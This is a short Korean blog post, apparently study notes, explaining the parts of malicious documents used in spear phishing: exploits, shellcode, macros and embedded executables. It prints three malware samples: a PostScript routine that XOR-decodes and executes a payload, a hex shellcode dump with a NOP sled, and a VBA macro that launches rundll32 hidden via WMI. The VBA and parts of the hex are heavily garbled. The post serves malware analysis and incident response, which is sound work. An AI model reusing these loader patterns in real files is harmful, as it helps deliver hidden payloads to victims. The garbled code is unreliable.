2 minute read

악성 문서 파일의 구성요소

요즘 해커그룹은 스피어피싱을 사용해서 실제 공격의 시작점을 알림
스피어 피싱은 많은 비중을 차지함.

spear phishing

득정 조직이나 개인이 대상인 피싱 공격 기법의 일종
악성 문서나 악성 링크를 첨부하는 방식이 상요됨.

ex .hwp .doc .pdf

스피어 피싱 공격에 사용되는 첨부 파일의 유형과 목적

-ms 오피스 문서 -pdf 문서 -hwp 문서 -rtf -압축파일

첨부 파일의 목적

소프트웨어의 취약점을 공격하여 파일에 내장된 객체(쉘 코드, 스크립트, EXPLOIT, 실행파일)등을 강제로 실행

악성 문서 파일의 일반적인 구성요소

익스플로잇

문서 파일을 처리하는 소프트웨어의 비정상 동작을 유발하고 임의 코드를 강제로 실행하도록 유도하는 역할을 하는 문서 내의 데이터

SHELLCODE (PAYLOAD)

취약한 소프트웨어의 메모리 상에서 임의로 실행되는 머신 코드 혹은 명령어를 의미함
작명 배경은, 과거에 주로 쉘 프롬프트를 획득하는 기능을 가졌기 때문이나 최근에는 다양한 기능을 포함하고 있음.
정상적인 프로그램이라면 메모리에서 실행시켜주지 않지만 익스플로잇을 이용해서 프로그램을 오동작하게 만들어 강제로 쉘코드나 페이로드를 실행함.

SCRIPT/MACRO

악성 문서를 열람할 때 오피스 프로그램에 의해 직접 실행되는 VB 스크립트, 포스트 스크립트, 자바 스크립트 등을 의미함

실행파일

일반적으로 악성 문서파일 내에 암호화된 형태로 내장되어 있음
스크립트 혹은 쉘코드에 의해 복호된 후 실행됨
예를 들어 EXE, DLL파일이 문서파일에 임베드 되어있으면 각종 보안 솔루션에 의해 탐지 될 수 있기에 암호화 되어있다. 그리고 스크립트 매크로 등을 이용해 복구하고 실행한다.

악성 스크립트 예시 1 [포스트 스크립트]

/ar //배열변수 ar선언  암호화된 포스트 스크립트 대입
eBaBadaeaElandeefdfaefBaBaBaBaeeaflaElaaeeefiafladaeaflaflfeeeafladaeafl
. . . «생략 . . . adaeeaBadaeaSanEfBeeaBadaeaElandfheeafladaeaElaneeefdeeabaElbfl EBEHIE1E1iiiffiiifiifijiiiEiEIEBilflififirifiifiii"Uif!

def /limit {an length -1 add}
def /len {an length} 
def /str len string
def ar 0 1 limit{
    2 copy get 204 xor put ar //ar 배열에 계속 xor연산을 하여 복호화 시킴
}
 for 
 
    pop str 0 1 limit{
        dup ar exch get put str
    }for cvx exec exec

다음으로 복호화된 문자열을 보겠습니다.

90909090909090909090e8000000005eb93414e20081e90814e20003f183c6028a06349046b9cb18e20081e9
fb6cb7ef679ffbff6ce792126c2524b26c0bb1b06c92efd418d4271b4b632793e02628eae41f0c136c20b8b9
e43a04ccae6cd36ce412b6b4b0b10f49181818b8bcbedc20920f6cbdc3e43a816cebac6cbdfbe43a6ce36ce4
fd89b10f6b1818188f468dda3fb16ea21f0f991818188f3a7b5a95b16ea2130f971818188f57aeca3cb16ea2
dc1493c88df318b21bb4b01892ebb11892ef18b213622793fd8dd518b21bb4b4b1b1b4b41892ef18b2176227
b120a207868b8b9220a2039482959420a20f9795888120a20b8e8b82e720a22bbbb3828a20a23797bb938f20
fieaZ130f451918188f844e0615b168a2170f731918188f1c701ae8b16c1f0f601918186e821f8fe7e6e7e768

HEX(16진) 인코딩 되어 있는 쉘코드입니다. 포스트스크립트에 의해 메모리에 매핑된 후 실행됨.

쉘코드 메모리 매핑 및 실행 예

프로그램이 실행이 되면 실행파일이 매핑이 되고 관련된 라이브러리들이 로딩이 됨 라이브러리에는 운영체제 API들이 있음 실행파일은 이 함수들을 호출하여 자기가 할일 들을 함.
취약한 프로그램들은 쉘코드가 악성프로세스나 악성 문서 파일에 의해 프로세스 A의 메모리 공간에 침투할 수 도 있다. 쉘코드에는 공격자의 의도가 숨어있다.

악성 스크립트 예시 1 [VBA 스크립트]

Flttnibute UB_|'Iame = "Thisllueument"
E4: fiE-‘fi
Pr-iuate Funetien DeendeBaeefi‘lIhaeefi‘l] H5 BgteU
tenet deendeTable = "HBEDEFGHIJHLIIIIlEIPlJHSTUUIllH'fEabedefghijklmnupqnstuumngzfliEB‘ISE?BEI+£"
ear (BHSEB‘I EEQ EJO-l REE gfifllgg Eli-1% fil-E LHE Ei—i-ll
Priuate Sub Executefl
'exeeute saued file with lllllII
Set nbjllllllISenuiee = fietflbjeet("min" & "mgmts" & ":m" & str-Enmputen & "Kr-nut" & "*-.eimuE"]
Set nbjStar-tup = uhjIlllllISenuiee.Eet("lllin3E'_" & "Process" & "Star-tug")
Set nbjmfig=_nhjStantulfipamnlnstanee_n_bi@nfig.Shnullllindnul = HIDDEILIIIII'IDIJIII
Set ubiPr-neess = Eetflbjeet ["minmgmtsN-l" & etr-Eumputer- & "Kraut" & "HeimuE" & ":Illin32_" & "Pnneess"]
ubanneessL‘r'eate "run" + "dll" + "32" + ".eXe " + Path + ", " + "#1", Hull, ubiliunfig, intheeesIl]
End Sub

스크립트와 쉘 코드에 초점을 두어 탐지 하거나 분석

익스플로잇은 공격자가 공격 대상 시스템에서 수행하고자 하는 행위의 목적을 표현하지 않음
침해사고 대응 관점에서 보면 악성 파일 내에 있는 스크립트/매크로, 쉘 코드를 빠르게 식별하고 분석하는 것이 공격자의 시스템상 행위의 목적을 파악하기 수월함 (시스템에서 생성되는 파일, 통신하는 C2, 조작되는 리소스 등)
스크립트는 궁극적으로 스크립트는 희생자 시스템에서 발생시키고자 하는 임팩트들의 내용의 가교 역할이 일반적이다.
EX) 파일 원격 다운로드, 실행파일 디코딩 해서 생성, 쉘 코드 메모리 매핑.
익스플로잇을 분석하는 것은 별로 중요하지 않음. 목적 실현을 도와주는 도구일 뿐임.
스크립타나 매크로 혹은 쉘코드를 빠르게 찾을 수 있다면 그 방법이 좋다. 왜냐하면 궁극적인 시스템상의 행위를 정의하고 있기 때문임.

Categories:

Updated:

Leave a comment